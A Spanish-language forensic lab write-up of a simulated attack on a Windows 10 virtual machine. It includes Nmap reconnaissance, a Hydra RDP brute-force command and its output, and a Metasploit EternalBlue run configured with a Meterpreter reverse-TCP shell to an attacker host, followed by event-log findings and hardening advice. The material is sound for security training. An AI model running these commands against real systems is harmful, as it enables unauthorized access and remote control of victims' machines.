

# **Informe de Análisis Forense de un Ataque Simulado en Windows**



Autor: Joan David Torres Garcia

Fecha: 20/02/2025

## Windows 10 - Fuerza Bruta Remota y Explotación de EternalBlue:

- Autor: Joan David Torres Garcia
- Fecha: 20/02/2025
- CVE ID: CVE-2017-0144 (EternalBlue)
- Categoría: Análisis Forense / Post-Explotación
- Software Afectado: Windows 10 (Sin parches)
- Nivel de Riesgo: Crítico
- Probado en: Windows 10 (VM) + Kali Linux

Este análisis forense documenta una simulación de ataque contra una máquina virtual con Windows 10, que incluye:

- ✓ Reconocimiento con Nmap
- ✓ Ataque de fuerza bruta contra RDP utilizando Hydra
- ✓ Explotación de SMB usando EternalBlue (MS17-010)
- ✓ Investigación forense usando Sysmon, registros de eventos de Windows y Wireshark

El objetivo es simular un escenario de ataque del mundo real e identificar las huellas forenses dejadas.

`sudo service lightdm restart`

## 1 Introducción

En este informe, documentaré un análisis forense digital basado en un ataque simulado contra un sistema operativo Windows. Este ejercicio se llevó a cabo en un entorno controlado utilizando Kali Linux como atacante y una máquina virtual con Windows 10 como víctima. El objetivo de esta simulación fue investigar y detectar evidencias de actividad maliciosa en la máquina comprometida.

## 2 Entorno de Prueba

Para realizar esta simulación, configuré el siguiente entorno:

Componente	Detalles
Atacante	Kali Linux (Última versión)
Víctima	Windows 10 (Máquina Virtual)
Herramientas de ataque	Nmap, Hydra, Metasploit
Herramientas de análisis	Sysmon, Visor de Eventos, Wireshark

### 2.1 Preparación del Entorno

#### Configuración de la Máquina Virtual Windows 10

##### 1. Instalación de Windows 10:

Comencé descargando la imagen ISO de Windows 10 desde el sitio oficial de Microsoft. Luego, utilicé VirtualBox para crear una nueva máquina virtual, asignando recursos adecuados (al menos 2 GB de RAM y 20 GB de espacio en disco) e inicié la instalación de Windows 10 siguiendo las instrucciones en pantalla.

##### 2. Configuración de Red:

Configuré la máquina virtual en modo “Red Interna” para permitir la comunicación con Kali Linux y anoté la dirección IP asignada a la máquina (por ejemplo, 192.168.1.X).

##### 3. Configuración de Seguridad de Windows:

Habilité el acceso remoto mediante RDP, accediendo a “Configuración” > “Sistema” > “Escritorio remoto” y activando la opción “Habilitar Escritorio remoto”. Además, configuré las políticas de seguridad para permitir el registro de eventos de seguridad mediante el “Editor de directivas de seguridad local” (secpol.msc).

#### 4. Instalación de Sysmon:

Descargué la Sysinternals Suite y la extraje. Después, abrí una consola de PowerShell como administrador, navegué hasta la carpeta donde estaba Sysmon y ejecuté:

```
sysmon -accepteula -i sysmonconfig.xml
```

(Esto me permitió registrar eventos específicos de interés).

#### 5. Habilitación de Registro de Eventos:

Verifiqué que el registro de eventos estuviera habilitado en “Visor de eventos” para poder analizar los logs posteriormente.

### Configuración de la Máquina Kali Linux

#### 1. Instalación de Kali Linux:

Descargué la imagen ISO de Kali Linux desde su sitio web oficial y utilicé el mismo software de virtualización para crear una nueva máquina virtual. Asigné recursos adecuados (al menos 2 GB de RAM y 20 GB de espacio en disco) e inicié la instalación de Kali Linux.

#### 2. Configuración de Red:

Configuré Kali Linux en la misma red que la máquina Windows (en modo “Red Interna”).

#### 3. Instalación de Herramientas de Ataque:

Verifiqué que Nmap, Hydra y Metasploit estuvieran instalados en Kali Linux. Si alguna herramienta no estaba disponible, la instalé usando:

```
sudo apt update  
sudo apt install nmap hydra metasploit-framework
```

#### 4. Configuración de Diccionarios de Contraseñas:

Aseguré que el archivo rockyou.txt estuviera presente en /usr/share/wordlists/ para utilizarlo en el ataque de fuerza bruta.

## 3 Simulación del Ataque

### 3.1 Reconocimiento con Nmap

El primer paso en mi ataque fue realizar la fase de reconocimiento para identificar los servicios y puertos abiertos en la máquina víctima.

- ♦ Comando ejecutado:

```
nmap -A -T4 192.168.1.20
```

```

(david@kali)-[~]
$ sudo nmap -A -T4 192.168.1.20
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 09:02 CET
Nmap scan report for 192.168.1.20
Host is up (0.0021s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5357/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Service Unavailable
MAC Address: 08:00:27:60:33:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|11|2019 (97%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2019
Aggressive OS guesses: Microsoft Windows 10 1803 (97%), Microsoft Windows 10
1903 - 21H1 (97%), Microsoft Windows 11 (94%), Microsoft Windows 10 1809 (92%
), Microsoft Windows 10 1909 (91%), Microsoft Windows 10 1909 - 2004 (91%), W
indows Server 2019 (91%), Microsoft Windows 10 20H2 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_ nbstat: NetBIOS name: DESKTOP-CUGQBNN, NetBIOS user: <unknown>, NetBIOS MAC
: 08:00:27:60:33:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-time:
|   date: 2025-02-21T08:02:37
|_  start_date: N/A

TRACEROUTE
HOP RTT    ADDRESS
1   2.07 ms 192.168.1.20

OS and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.78 seconds

```

◆ Resultado: Se identificaron los siguientes puertos abiertos:

- 445 (SMB - Compartición de archivos)

🔍 Hallazgo: La máquina Windows tiene el puerto 445 expuesto, lo que representa un riesgo de seguridad significativo.

### 3.2 Ataque de Fuerza Bruta con Hydra

Luego, intenté acceder a la cuenta de administrador utilizando una lista de contraseñas comunes.

- ◆ Comando ejecutado:

hydra -l clientcat -P /usr/share/wordlists/rockyou.txt rdp://192.168.1.20

```
(david@kali)~$ sudo hydra -l clientcat -P /usr/share/wordlists/rockyou.txt rdp://192.168.1.20
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-21 09:31:32
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking rdp://192.168.1.20:3389/
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: 123456789, continuing attacking the account.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: 123456, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: password, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: iloveyou, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: princess, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: 1234567, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: rockyou, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: 12345678, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: abc123, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: nicole, continuing attacking the account.
[3389][rdp] account on 192.168.1.20 might be valid but account not active for remote desktop: login: clientcat password: daniel, continuing attacking the account.
```

Seguridad Número de eventos: 2.771

Palabra...	Fecha y hora	Origen	Id. del ...	Catego...
Audi...	21/02/2025 9:38:46	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	5379	User A...
Audi...	21/02/2025 9:38:45	Micros...	4672	Special...
Audi...	21/02/2025 9:38:45	Micros...	4624	Logon
Audi...	21/02/2025 9:37:53	Micros...	4672	Special...
Audi...	21/02/2025 9:37:53	Micros...	4624	Logon
Audi...	21/02/2025 9:36:57	Micros...	4672	Special...
Audi...	21/02/2025 9:36:57	Micros...	4624	Logon
Audi...	21/02/2025 9:36:14	Micros...	4799	Securit...

Evento 4624, Microsoft Windows security auditing.

General Detalles

Se inició sesión correctamente en una cuenta.

Nombre de registro: Seguridad

Origen: Microsoft Windows security Registrado: 21/02/2025 9:38:45

Id. del: 4624 Categoría de tarea: Logon

Nivel: Información Palabras clave: Auditoría correcta

Usuario: No disponible Equipo: DESKTOP-CUGQBNN

♦ Resultado: Se registraron múltiples intentos fallidos de autenticación en los logs de Windows y después un 4624 que indica inicio de session exitoso.

🔍 Hallazgo: Un atacante persistente podría eventualmente acceder si se usa una contraseña débil.

### 3.3 Explotación con Metasploit (EternalBlue - MS17-010)

Intenté aprovechar una vulnerabilidad en SMB para obtener acceso remoto a la máquina víctima.

- ♦ Comandos ejecutados en Metasploit:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.20
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.10 # Cambia
esto por tu IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444 # Puedes usar otro
puerto si lo prefieres
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.20
RHOSTS => 192.168.1.20
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.19
LHOST => 192.168.1.19
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.19:4444
[*] 192.168.1.20:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 192.168.1.20:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 192.168.1.20:445 - Scanned 1 of 1 hosts (100% complete)
[-] 192.168.1.20:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
```

- ♦ Resultado: Si el ataque era exitoso, obtendría control remoto sobre la máquina víctima a través de Meterpreter, en este caso, el sistema no es vulnerable llegando a la conclusion que el sistema ya esta parcheado.

```
(david@kali)-[~]
└─$ sudo nmap -p 445 --script smb-vuln-ms17-010 192.168.1.20
[sudo] contraseña para david:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 09:59 CET
Nmap scan report for 192.168.1.20
Host is up (0.0047s latency).
PORT      STATE SERVICE
445/tcp   open  microsoft-ds
MAC Address: 08:00:27:60:33:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
```

- 🔍 Hallazgo: Si el sistema no tiene los parches de seguridad instalados, este ataque podría tener éxito.



# Conclusiones y Recomendaciones

## ♦ Hallazgos Claves:

- ✓ Identifiqué intentos de acceso mediante fuerza bruta en los logs del sistema.
- ✓ Capturé tráfico sospechoso con Wireshark, indicando intentos de conexión reiterados.
- ✓ La máquina víctima tenía vulnerabilidades explotables si no estaba actualizada.

## ♦ Recomendaciones de Seguridad:

- ✓ Deshabilitar RDP si no es necesario.
- ✓ Usar autenticación multifactor (MFA).
- ✓ Aplicar actualizaciones de seguridad para evitar ataques como EternalBlue.
- ✓ Configurar políticas de bloqueo de cuenta tras múltiples intentos fallidos.
- ✓ Monitorear logs con SIEM o herramientas de detección de intrusos.

## 6 Conclusión Final

Este experimento demuestra cómo un atacante puede comprometer una máquina vulnerable y cómo un análisis forense puede detectar actividad sospechosa. Realizar simulaciones como esta es clave para mejorar la seguridad de los sistemas y responder eficazmente ante incidentes reales.

📌 ¿Qué opinas sobre estos ataques? ¿Cómo proteges tus sistemas?

#Ciberseguridad #AnálisisForense #EthicalHacking #WindowsSecurity

Si deseas realizar más cambios o agregar información adicional, házmelo saber.